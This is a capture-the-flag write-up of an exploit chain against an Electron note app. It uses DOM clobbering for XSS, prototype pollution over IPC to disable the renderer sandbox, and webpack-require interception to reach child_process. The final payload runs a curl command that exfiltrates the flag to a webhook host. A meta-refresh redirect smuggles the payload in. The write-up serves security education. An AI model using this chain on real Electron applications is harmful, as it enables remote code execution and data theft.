2024 0xL4ugh CTF - Ada Indonesia Coy ๐Ÿ‡ฎ๐Ÿ‡ฉ

#electron#web

The Problem

There are tons of files for this challenge, but our main focus would be these 2 files which defines the electron app.

https://gist.github.com/nolangilardi/fc8b30441d669a985b471364bb3d07e6

Our BroweserWindow loaded with this config as nodeIntegration and contextIsolation set to false. This means that the renderer doesnt get access to node feature except for the preload script (nodeIntegration:false), but both the preload and electron internal shares the same Javascript context (contextIsolation:false).

The BrowserWindow is loaded with the following configuration:

    webPreferences: {
      preload: path.join(__dirname, "./preload.js"),
      nodeIntegration: false,
      contextIsolation: false,
    },

With nodeIntegration: false, the renderer process doesnโ€™t have direct access to Node.js features. Meanwhile, contextIsolation: false means the preload script and Electron internals share the same JavaScript context.

Vulns

XSS in renderer

The following function is designed to create an iframe for displaying notes:

async function createNoteFrame(html, time) {
    const note = document.createElement("iframe")
    note.frameBorder = false
    note.height = "250px"
    note.srcdoc = "<dialog id='dialog'>" + html + "</dialog>"
    note.sandbox = 'allow-same-origin'
    note.onload = (ev) => {
        const dialog = new Proxy(ev.target.contentWindow.dialog, {
            get: (target, prop) => {
                const res = target[prop];
                return typeof res === "function" ? res.bind(target) : res;
            },
        })
        setInterval(dialog.close, time / 2);
        setInterval(dialog.showModal, time);
    }
    return note
}

...

const mynote = await createNoteFrame("<h1>Hati Hati!</h1><p>Website " + decodeURIComponent(document.location) + " Kemungkinan Berbahaya!</p>", 1000)

We can leverage DOM clobbering of dialog.close or dialog.showModal to execute arbitrary JavaScript code. This is one of the quirks of setTimeout and setInterval, where if we suply the first argument as string, it will try to create new Js Function and execute it. The payload would be like this

<a id=dialog name=close href="foo:console.log(1337)">

Prototype Pollution in config via IPC communication

// main.js
ipcMain.handle("set-config", (_, conf, obj) => {
  Object.assign(config[conf], obj)
})

ipcMain.handle("get-config", (_) => {
  return config
})

ipcMain.handle("get-window", (_) => {
  const win = new BrowserWindow({
    width: 800,
    height: 600,
    parent: mainWindow,
    webPreferences: {
      preload: path.join(__dirname, 'preload.js'),
      nodeIntegration: false,
      contextIsolation: false,
    },
    fullscreen: false,
  })
  win.loadFile("./ada-indonesia-coy/index.html")
})

// preload.js
class api {
    getConfig(){
        return electron.ipcRenderer.invoke("get-config")
    }
    setConfig(conf, obj){
        electron.ipcRenderer.invoke("set-config", conf, obj)
    }
    window(){
        electron.ipcRenderer.invoke("get-window")
    }
}

window.api = new api()

preload.js exposes the 3 custom ipcs to renderer. set-config ipc handler directly modifies config object using Object.assign. By setting config.__proto__ to arbitrary value, this means we have prototype pollution.

This prototype pollution can be used to toggle on/off some default configuration where spawnin new BrowserWindow using the overriden value with prototype pollution, for example ticking off sandbox so that newly spawned BrowserWindow would have --no-sandbox.

We can confirm this by running the below JS directly into dev console (open it with Ctrl+Shift+I) and then check the running process using ps.

api.setConfig("__proto__", {sandbox:0})
api.window()
user       23110   23024  1 05:33 pts/4    00:00:00 /redacted/baby-electron
                     --type=renderer
                     --enable-crash-reporter=1055940f-328a-45d8-8bec-258737cfdddc,no_channel
                     --user-data-dir=/home/user/.config/baby-electron
                     --app-path=/redacted/resources/app.asar
                     --enable-sandbox
                     --disable-gpu-compositing
                     --lang=en-US
                     --num-raster-threads=3
                     --enable-main-frame-before-activation
                     --renderer-client-id=5
                     --time-ticks-at-unix-epoch=-1735446046824602
                     --launch-time-ticks=4336005364
                     --shared-files=v8_context_snapshot_data:100
                     --field-trial-handle=0,i,3045807141174497258,9035281799453053754,262144
                     --disable-features=SpareRendererForSitePerProcess
...
user       23245   23017  2 05:33 pts/4    00:00:00 /redacted/baby-electron
                     --type=renderer
                     --enable-crash-reporter=1055940f-328a-45d8-8bec-258737cfdddc,no_channel
                     --user-data-dir=/home/user/.config/baby-electron
                     --app-path=/redacted/resources/app.asar
                     --no-sandbox
                     --no-zygote
                     --disable-gpu-compositing
                     --lang=en-US
                     --num-raster-threads=3
                     --enable-main-frame-before-activation
                     --renderer-client-id=10
                     --time-ticks-at-unix-epoch=-1735446046824602
                     --launch-time-ticks=4359800639
                     --shared-files=v8_context_snapshot_data:100
                     --field-trial-handle=0,i,3045807141174497258,9035281799453053754,262144
                     --disable-features=SpareRendererForSitePerProcess

notice that there are 2 electron process, one with --enable-sandbox and the other one with --no-sandbox.

Exposing node modules to renderer process

Since BrowserWindow started with contextIsolation set to false, we can expose it using polluting builtins objects (Js context shared with electron internals). This is explained better in the other author challenge writeup 2023 HITCON CTF - Harmony.

This works because electron internally uses webpack and webpack require will do a lazy load. When electron internally does __webpack_require__("./lib/renderer/api/ipc-renderer.ts"), we will intercept it and copy this object from t and exposes it to our window renderer. This code explains better than words,

window.copyOfIpcRenderer = null;
Object.defineProperty(Object.prototype, `./lib/renderer/api/ipc-renderer.ts`, {
  set(v) {
    window.copyOfIpcRenderer = v;
    window.module = this.module;
  },
  get() {
    return window.copyOfIpcRenderer;
  }
});
function __webpack_require__(r) {
	var n = t[r];
	if (void 0 !== n)
		return n.exports;
	var i = t[r] = {
		exports: {}
	};
	return e[r](i, i.exports, __webpack_require__),
	i.exports
}

Chaining it together

Since the javascript code will be executed on setInterval, we can clean this up to execute only one within sync guard if block

if (!window.SyncOnce) {
  window.SyncOnce = true;
  ...
}

First, we will need to intercept the __webpack_require__ function, due to electron lazyLoading ipcRenderer and we will need to intercept it before we do any ipc communication.

if (!window.SyncOnce) {
  window.SyncOnce = true;
  
  window.copyOfIpcRenderer = null;
  Object.defineProperty(Object.prototype, `./lib/renderer/api/ipc-renderer.ts`, {
    set(v) {
      window.copyOfIpcRenderer = v;
      window.module = this.module;
    },
    get() {
      return window.copyOfIpcRenderer;
    }
  });
}

Secondly, we can start do some ipc communications. Using prototype pollution to disable sandbox and spawn new BrowserWindow,

if (!window.SyncOnce) {
  window.SyncOnce = true;
  
  // snip

  api.setConfig(`__proto__`, {sandbox:false});
  api.window();
}

The new BrowserWindow will have same document.location as our first window, thus makes it executing the same xss payload. At this point we have exposed node modules to our renderer, so we just need to execute RCE payload

if (window.module && !window.syncOnce2) {
  window.syncOnce2 = true;
  window.module.exports._load(`child_process`).execSync(`curl http://webhook -d flag=$(/readflag)`);
}

Final Payload

if (!window.syncOnce) {
  window.syncOnce = true;

  window.copyOfIpcRenderer = null;
  Object.defineProperty(Object.prototype, `./lib/renderer/api/ipc-renderer.ts`, {
    set(v) {
      window.copyOfIpcRenderer = v;
      window.module = this.module;
    },
    get() {
      return window.copyOfIpcRenderer;
    }
  });

  api.setConfig(`__proto__`, { sandbox: false });
  api.window();
}


if (window.module && !window.syncOnce2) {
  window.syncOnce2 = true;
  window.module.exports._load(`child_process`).execSync(`curl http://webhook -d flag=$(/readflag)`);
}

Smuggling the Payload

Encode the payload in dom clobbering attack

<a id=dialog name=close href="foo:PAYLOAD">

Use a meta-equiv tag to redirect and inject URL encoded DOM clobbering payload via the URL hash:

<meta http-equiv="refresh" content="0; url=https://127.0.0.1:3000/#...">